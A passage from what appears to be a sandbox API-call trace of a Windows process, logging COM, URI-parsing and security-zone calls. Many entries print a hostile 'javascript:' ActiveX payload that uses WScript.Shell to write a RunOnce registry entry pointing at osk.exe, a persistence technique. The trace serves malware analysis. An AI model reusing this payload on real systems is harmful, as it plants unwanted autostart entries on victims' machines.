pdwScheme=0x95f364*=0xf) returned 0x0 [0252.143] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1 [0252.144] IUnknown:QueryInterface (in: This=0x9f1a44, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95f350 | out: ppvObject=0x95f350*=0x9f1a44) returned 0x0 [0252.144] IUnknown:Release (This=0x9f1a44) returned 0x3 [0252.144] IUnknown:AddRef (This=0x9f1a44) returned 0x4 [0252.144] IUnknown:Release (This=0x9f1a44) returned 0x3 [0252.144] IUnknown:AddRef (This=0x9f1a44) returned 0x4 [0252.144] IUri:GetAbsoluteUri (in: This=0x9f1a44, pbstrAbsoluteUri=0x494a240 | out: pbstrAbsoluteUri=0x494a240*="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0252.144] IUnknown:Release (This=0x9f1a44) returned 0x3 [0252.144] IUnknown:AddRef (This=0x9dd678) returned 0x2 [0252.144] IUnknown:Release (This=0x9dd678) returned 0x1 [0252.144] IUnknown:AddRef (This=0x9dd878) returned 0x3 [0252.145] IUnknown:Release (This=0x9dd678) returned 0x0 [0252.145] CoInternetIsFeatureEnabled (FeatureEntry=0x15, dwFlags=0x2) returned 0x1 [0252.145] IUnknown:AddRef (This=0x9dd878) returned 0x4 [0252.145] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ef70 | out: ppvObject=0x95ef70*=0x9f6a6c) returned 0x0 [0252.145] IUnknown:Release (This=0x9f6a6c) returned 0x6 [0252.145] IUnknown:AddRef (This=0x9f6a6c) returned 0x7 [0252.145] IUnknown:QueryInterface (in: This=0x9dd878, riid=0x728be2f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x95ef48 | out: ppvObject=0x95ef48*=0x9dd884) returned 0x0 [0252.145] IUriContainer:GetIUri (in: This=0x9dd884, ppIUri=0x95f1f0 | out: ppIUri=0x95f1f0*=0x9f6a6c) returned 0x0 [0252.145] IUnknown:Release (This=0x9dd884) returned 0x4 [0252.145] IUnknown:AddRef (This=0x9dd878) returned 0x5 [0252.145] IUnknown:Release (This=0x9dd878) returned 0x4 [0252.145] IUnknown:AddRef (This=0x9f6a6c) returned 0x9 [0252.145] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ef70 | out: ppvObject=0x95ef70*=0x9f6a6c) returned 0x0 [0252.146] IUnknown:Release (This=0x9f6a6c) returned 0x9 [0252.146] IUnknown:AddRef (This=0x9f6a6c) returned 0xa [0252.146] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95ef84 | out: pdwScheme=0x95ef84*=0xf) returned 0x0 [0252.146] GetCurrentProcessId () returned 0xd00 [0252.146] GetCurrentProcessId () returned 0xd00 [0252.146] IUnknown:QueryInterface (in: This=0x9f6a6c, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ef70 | out: ppvObject=0x95ef70*=0x9f6a6c) returned 0x0 [0252.146] IUnknown:Release (This=0x9f6a6c) returned 0xa [0252.146] IUnknown:AddRef (This=0x9f6a6c) returned 0xb [0252.146] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95ef58 | out: pdwScheme=0x95ef58*=0xf) returned 0x0 [0252.146] IUri:GetAbsoluteUri (in: This=0x9f6a6c, pbstrAbsoluteUri=0x95ef7c | out: pbstrAbsoluteUri=0x95ef7c*="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0252.146] SysStringLen (param_1="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x100 [0252.146] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x95f1dc | out: ppURI=0x95f1dc*=0x9f1a44) returned 0x0 [0252.146] IUnknown:Release (This=0x9f6a6c) returned 0xa [0252.146] IUri:GetScheme (in: This=0x9f1a44, pdwScheme=0x95ef34 | out: pdwScheme=0x95ef34*=0xf) returned 0x0 [0252.146] IUnknown:QueryInterface (in: This=0x9f1a44, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x95ef20 | out: ppvObject=0x95ef20*=0x9f1a44) returned 0x0 [0252.147] IUnknown:Release (This=0x9f1a44) returned 0x4 [0252.147] IUnknown:AddRef (This=0x9f1a44) returned 0x5 [0252.147] IUnknown:Release (This=0x9f1a44) returned 0x4 [0252.147] IUnknown:AddRef (This=0x9f1a44) returned 0x5 [0252.147] IUri:GetPropertyDWORD (in: This=0x9f1a44, uriProp=0x11, pdwProperty=0x95ecf4, dwFlags=0x0 | out: pdwProperty=0x95ecf4*=0xf) returned 0x0 [0252.147] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0252.147] IUnknown:QueryInterface (in: This=0x7387f4d4, riid=0x7410a5cc*(Data1=0xc90db44a, Data2=0x1902, Data3=0x451e, Data4=([0]=0xbd, [1]=0xf0, [2]=0x5c, [3]=0x89, [4]=0x66, [5]=0xb, [6]=0x52, [7]=0x8c)), ppvObject=0x95ec4c | out: ppvObject=0x95ec4c*=0x0) returned 0x80004002 [0252.147] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e600 | out: ppv=0x95e600*=0x7376b5fc) returned 0x0 [0252.147] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e66c | out: ppvObject=0x95e66c*=0x7376b608) returned 0x0 [0252.147] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.147] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=3, dwParseFlags=0x0, pwzResult=0xa05c40, cchResult=0x101, pcchResult=0x95e664, dwReserved=0x0 | out: pwzResult="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pcchResult=0x95e664*=0x101) returned 0x0 [0252.148] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x206) returned 0x9e92d8 [0252.148] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9e92d8 | out: hHeap=0x9d0000) returned 1 [0252.148] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.148] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e178 | out: ppv=0x95e178*=0x7376b5fc) returned 0x0 [0252.148] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e670 | out: ppvObject=0x95e670*=0x7376b608) returned 0x0 [0252.148] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.148] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=17, dwParseFlags=0x0, pwzResult=0xa05c40, cchResult=0x101, pcchResult=0x95e66c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x95e66c*=0x0) returned 0x800c0011 [0252.148] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.148] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0252.148] IUnknown:Release (This=0x9f1a44) returned 0x5 [0252.148] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f9000 | out: hHeap=0x9d0000) returned 1 [0252.148] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x105) returned 0xa05d50 [0252.148] memcpy_s (in: _Destination=0xa05d50, _DestinationSize=0x105, _Source=0x95ed80, _SourceSize=0x105 | out: _Destination=0xa05d50) returned 0x0 [0252.148] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9f8ec8 | out: hHeap=0x9d0000) returned 1 [0252.148] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x105) returned 0xa05e60 [0252.148] memcpy_s (in: _Destination=0xa05e60, _DestinationSize=0x105, _Source=0x95ed80, _SourceSize=0x105 | out: _Destination=0xa05e60) returned 0x0 [0252.149] IUri:GetScheme (in: This=0x9f6a6c, pdwScheme=0x95ef84 | out: pdwScheme=0x95ef84*=0xf) returned 0x0 [0252.149] GetDC (hWnd=0x0) returned 0xffffffff9101065d [0252.149] CreateCompatibleBitmap (hdc=0x9101065d, cx=1, cy=1) returned 0xffffffffa5050721 [0252.149] GetDIBits (in: hdc=0x9101065d, hbm=0xa5050721, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x95eb08, usage=0x0 | out: lpvBits=0x0, lpbmi=0x95eb08) returned 1 [0252.149] GetDIBits (in: hdc=0x9101065d, hbm=0xa5050721, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x95eb08, usage=0x0 | out: lpvBits=0x0, lpbmi=0x95eb08) returned 1 [0252.149] DeleteObject (ho=0xa5050721) returned 1 [0252.149] GetSysColor (nIndex=0) returned 0xc8c8c8 [0252.149] GetSysColor (nIndex=1) returned 0x0 [0252.149] GetSysColor (nIndex=2) returned 0xd1b499 [0252.149] GetSysColor (nIndex=3) returned 0xdbcdbf [0252.149] GetSysColor (nIndex=4) returned 0xf0f0f0 [0252.149] GetSysColor (nIndex=5) returned 0xffffff [0252.149] GetSysColor (nIndex=6) returned 0x646464 [0252.149] GetSysColor (nIndex=7) returned 0x0 [0252.149] GetSysColor (nIndex=8) returned 0x0 [0252.149] GetSysColor (nIndex=9) returned 0x0 [0252.149] GetSysColor (nIndex=10) returned 0xb4b4b4 [0252.149] GetSysColor (nIndex=11) returned 0xfcf7f4 [0252.149] GetSysColor (nIndex=12) returned 0xababab [0252.149] GetSysColor (nIndex=13) returned 0xd77800 [0252.149] GetSysColor (nIndex=14) returned 0xffffff [0252.149] GetSysColor (nIndex=15) returned 0xf0f0f0 [0252.149] GetSysColor (nIndex=16) returned 0xa0a0a0 [0252.149] GetSysColor (nIndex=17) returned 0x6d6d6d [0252.149] GetSysColor (nIndex=18) returned 0x0 [0252.149] GetSysColor (nIndex=19) returned 0x0 [0252.149] GetSysColor (nIndex=20) returned 0xffffff [0252.149] GetSysColor (nIndex=21) returned 0x696969 [0252.149] GetSysColor (nIndex=22) returned 0xe3e3e3 [0252.149] GetSysColor (nIndex=23) returned 0x0 [0252.149] GetSysColor (nIndex=24) returned 0xe1ffff [0252.150] GetSysColor (nIndex=25) returned 0x0 [0252.150] GetSysColor (nIndex=26) returned 0xcc6600 [0252.150] GetSysColor (nIndex=27) returned 0xead1b9 [0252.150] GetSysColor (nIndex=28) returned 0xf2e4d7 [0252.150] GetSysColor (nIndex=29) returned 0xd77800 [0252.150] GetSysColor (nIndex=30) returned 0xf0f0f0 [0252.150] GetSysColor (nIndex=31) returned 0x0 [0252.150] GetSysColor (nIndex=32) returned 0x0 [0252.150] GetSysColor (nIndex=33) returned 0x0 [0252.150] GetSysColor (nIndex=34) returned 0x0 [0252.150] GetSysColor (nIndex=35) returned 0x0 [0252.150] GetSysColor (nIndex=36) returned 0x0 [0252.150] GetSysColor (nIndex=37) returned 0x0 [0252.150] GetSysColor (nIndex=38) returned 0x0 [0252.150] GetSysColor (nIndex=39) returned 0x0 [0252.150] GetSysColor (nIndex=40) returned 0x0 [0252.150] GetSysColor (nIndex=41) returned 0x0 [0252.150] GetSysColor (nIndex=42) returned 0x0 [0252.150] GetSysColor (nIndex=43) returned 0x0 [0252.150] GetSysColor (nIndex=44) returned 0x0 [0252.150] GetSysColor (nIndex=45) returned 0x0 [0252.150] GetSysColor (nIndex=46) returned 0x0 [0252.150] GetSysColor (nIndex=47) returned 0x0 [0252.150] GetSysColor (nIndex=48) returned 0x0 [0252.150] GetSysColor (nIndex=49) returned 0x0 [0252.150] GetSysColor (nIndex=50) returned 0x0 [0252.150] GetSysColor (nIndex=51) returned 0x0 [0252.150] GetSysColor (nIndex=52) returned 0x0 [0252.150] GetSysColor (nIndex=53) returned 0x0 [0252.150] GetSysColor (nIndex=54) returned 0x0 [0252.150] GetSysColor (nIndex=55) returned 0x0 [0252.150] GetSysColor (nIndex=56) returned 0x0 [0252.150] GetSysColor (nIndex=57) returned 0x0 [0252.150] GetSysColor (nIndex=58) returned 0x0 [0252.150] GetSysColor (nIndex=59) returned 0x0 [0252.150] GetSysColor (nIndex=60) returned 0x0 [0252.150] GetSysColor (nIndex=61) returned 0x0 [0252.150] GetSysColor (nIndex=62) returned 0x0 [0252.150] GetSysColor (nIndex=63) returned 0x0 [0252.150] GetDeviceCaps (hdc=0x9101065d, index=38) returned 32409 [0252.150] ReleaseDC (hWnd=0x0, hDC=0x9101065d) returned 1 [0252.151] IUri:GetAbsoluteUri (in: This=0x9f1a44, pbstrAbsoluteUri=0x95f194 | out: pbstrAbsoluteUri=0x95f194*="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0252.151] GetCurrentProcessId () returned 0xd00 [0252.213] GetCurrentThreadId () returned 0xe38 [0252.213] GetCurrentProcessId () returned 0xd00 [0252.213] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9dd048 [0252.213] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0252.213] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0252.233] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0xa05330 [0252.233] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x94) returned 0x4a53c10 [0252.233] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0252.233] VirtualAlloc (lpAddress=0x49b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x49b0000 [0252.234] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0252.234] GetKeyboardLayoutNameW (in: pwszKLID=0x95ecf8 | out: pwszKLID="00000409") returned 1 [0252.234] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwFlags=0x3022b05, dwReserved=0x0, ppURI=0x95ed44 | out: ppURI=0x95ed44*=0x9e92e4) returned 0x0 [0252.234] CreateIUriBuilder (in: pIUri=0x9e92e4, dwFlags=0x0, dwReserved=0x0, ppIUriBuilder=0x95ed40 | out: ppIUriBuilder=0x95ed40*=0x9e93b8) returned 0x0 [0252.235] IUriBuilder:RemoveProperties (This=0x9e93b8, dwPropertyMask=0x2020) returned 0x0 [0252.235] IUnknown:Release (This=0x9e92e4) returned 0x3 [0252.235] IUriBuilder:CreateUriSimple (in: This=0x9e93b8, dwAllowEncodingPropertyMask=0x0, dwReserved=0x0, ppIUri=0x95ed44 | out: ppIUri=0x95ed44*=0x9e92e4) returned 0x0 [0252.235] IUri:GetPropertyBSTR (in: This=0x9e92e4, uriProp=0x0, pbstrProperty=0x95ed60, dwFlags=0x2 | out: pbstrProperty=0x95ed60*="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0252.235] IUnknown:Release (This=0x9e92e4) returned 0x3 [0252.235] IUnknown:Release (This=0x9e93b8) returned 0x0 [0252.235] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x206) returned 0xa07c28 [0252.235] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ppu=0x95ed30 | out: ppu=0x95ed30) returned 0x0 [0252.235] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0x95ed10 | out: ppURI=0x95ed10*=0x9f1a44) returned 0x0 [0252.235] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0252.235] IUnknown:AddRef (This=0x9f1a44) returned 0x7 [0252.235] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.235] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pdwZone=0x95ecc4, dwFlags=0x0 | out: pdwZone=0x95ecc4*=0xffffffff) returned 0x800c0011 [0252.236] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e528 | out: ppv=0x95e528*=0x7376b5fc) returned 0x0 [0252.236] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e594 | out: ppvObject=0x95e594*=0x7376b608) returned 0x0 [0252.236] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.236] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=3, dwParseFlags=0x0, pwzResult=0xa07e60, cchResult=0x101, pcchResult=0x95e58c, dwReserved=0x0 | out: pwzResult="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pcchResult=0x95e58c*=0x101) returned 0x0 [0252.236] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x206) returned 0xa08d78 [0252.236] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa08d78 | out: hHeap=0x9d0000) returned 1 [0252.236] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.237] DllGetClassObject (in: rclsid=0x9dd6dc*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e0a0 | out: ppv=0x95e0a0*=0x7376b5fc) returned 0x0 [0252.237] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95e598 | out: ppvObject=0x95e598*=0x7376b608) returned 0x0 [0252.237] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.237] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", ParseAction=17, dwParseFlags=0x0, pwzResult=0xa09a68, cchResult=0x101, pcchResult=0x95e594, dwReserved=0x0 | out: pwzResult="", pcchResult=0x95e594*=0x0) returned 0x800c0011 [0252.237] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.237] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0252.237] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0252.237] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x9f2ba8, pUri=0x9f1a44, dwAction=0x2700, pPolicy=0x95ecc8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x95eca8 | out: pPolicy=0x95ecc8*=0x0, pdwOutFlags=0x95eca8*=0x0) returned 0x0 [0252.237] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", dwAction=0x2700, pPolicy=0x95ecc8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x95ecc8*=0x0) returned 0x0 [0252.237] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0252.237] IUnknown:Release (This=0x9f1a44) returned 0x7 [0252.237] IUnknown:Release (This=0x9f1a44) returned 0x6 [0252.237] IUnknown:AddRef (This=0x9f1a44) returned 0x7 [0252.238] IUri:GetPropertyDWORD (in: This=0x9f1a44, uriProp=0x11, pdwProperty=0x95eabc, dwFlags=0x0 | out: pdwProperty=0x95eabc*=0xf) returned 0x0 [0252.238] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0252.238] IUnknown:QueryInterface (in: This=0x7387f4d4, riid=0x7410a5cc*(Data1=0xc90db44a, Data2=0x1902, Data3=0x451e, Data4=([0]=0xbd, [1]=0xf0, [2]=0x5c, [3]=0x89, [4]=0x66, [5]=0xb, [6]=0x52, [7]=0x8c)), ppvObject=0x95ea14 | out: ppvObject=0x95ea14*=0x0) returned 0x80004002 [0252.238] IInternetSecurityManager:GetSecurityId (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pbSecurityId=0x95eb50, pcbSecurityId=0x95eb48*=0x200, dwReserved=0x0 | out: pbSecurityId=0x95eb50*=0x0, pcbSecurityId=0x95eb48*=0x200) returned 0x800c0011 [0252.238] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0252.238] IUnknown:Release (This=0x9f1a44) returned 0x6 [0252.238] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x105) returned 0xa09e40 [0252.238] memcpy_s (in: _Destination=0xa09e40, _DestinationSize=0x105, _Source=0x95eb50, _SourceSize=0x105 | out: _Destination=0xa09e40) returned 0x0 [0252.238] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x206) returned 0xa08d78 [0252.238] IUri:GetPropertyBSTR (in: This=0x9f1a44, uriProp=0x3, pbstrProperty=0x95ef54, dwFlags=0x2 | out: pbstrProperty=0x95ef54*="") returned 0x1 [0252.238] IUri:GetPropertyBSTR (in: This=0x9f1a44, uriProp=0x6, pbstrProperty=0x95ef54, dwFlags=0x2 | out: pbstrProperty=0x95ef54*="") returned 0x1 [0252.238] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x95ef3c, dwReserved=0x0 | out: ppIInternetSession=0x95ef3c*=0x9f2328) returned 0x0 [0252.239] IInternetSession:RegisterNameSpace (This=0x9f2328, pCF=0x7376ba70, rclsid=0x7287d12c, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0252.239] IUnknown:AddRef (This=0x7376ba70) returned 0x1 [0252.239] IInternetSession:RegisterNameSpace (This=0x9f2328, pCF=0x7376ba90, rclsid=0x7287d14c, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0252.239] IUnknown:AddRef (This=0x7376ba90) returned 0x1 [0252.239] IInternetSession:RegisterNameSpace (This=0x9f2328, 